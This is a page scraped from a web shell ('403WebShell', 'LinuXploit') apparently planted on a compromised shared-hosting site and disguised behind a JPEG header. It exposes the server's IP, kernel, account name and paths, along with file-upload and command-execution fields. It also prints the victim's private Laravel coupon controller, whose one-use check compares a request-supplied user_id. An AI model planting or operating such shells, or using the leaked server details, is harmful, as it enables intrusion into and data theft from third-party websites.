����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.188.80.46
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/CouponApplyController.php
<?php

namespace App\Http\Controllers;

use App\CouponApply;
use App\CouponCode;
use App\Package;
use Illuminate\Http\Request;
use Illuminate\Support\Carbon;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Session;


class CouponApplyController extends Controller
{
   
    public function get(Request $request)
    {

        $coupon = CouponCode::where('coupon_code', $request->coupon_code)->first();
        $plan = Package::where('id', $request->plan_id)->first();
        if (isset($coupon) && $coupon != null) {
            $current_date = Carbon::now();
            if ($current_date < $coupon->redeem_by) {
                if ($coupon->max_redemptions != 0) {
                    if ($coupon->duration == 'once') {
                        $user_id = Auth::user()->id;
                        $coupon_apply = CouponApply::where('user_id', $request->user_id)->where('coupon_id', $coupon->id)->first();
                        if (!$coupon_apply && $coupon_apply == null) {
                            $apply_coupon = CouponApply::create([
                                'user_id' => $user_id,
                                'coupon_id' => $coupon->id,
                                'redeem' => 1,
                            ]);
                        } else {
                            return back()->with('deleted', __('Coupon limit reached!'));
                        }
                    }

                    $query = $coupon->update(['max_redemptions' => $coupon->max_redemptions - 1]);

                    if ($coupon->amount_off != null) {
                        $amount = $coupon->amount_off;
                    } else {
                        $amount = ($plan->amount * $coupon->percent_off) / 100;
                    }

                    Session::put('coupon_applied', [
                        'code' => $coupon->coupon_code,
                        'amount' => $amount,
                        'id' => $coupon->id,
                    ]);

                    return back()->with('success', __('Coupon') . ucfirst($coupon->coupon_code) . __(' is applied successfully !'));
                } else {

                    return back()->with('deleted', __('Coupon is not available !'));
                }
            } else {

                return back()->with('deleted', __('Coupon Expired !'));
            }
        } else {

            return back()->with('deleted', __('Coupon Invalid !'));
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit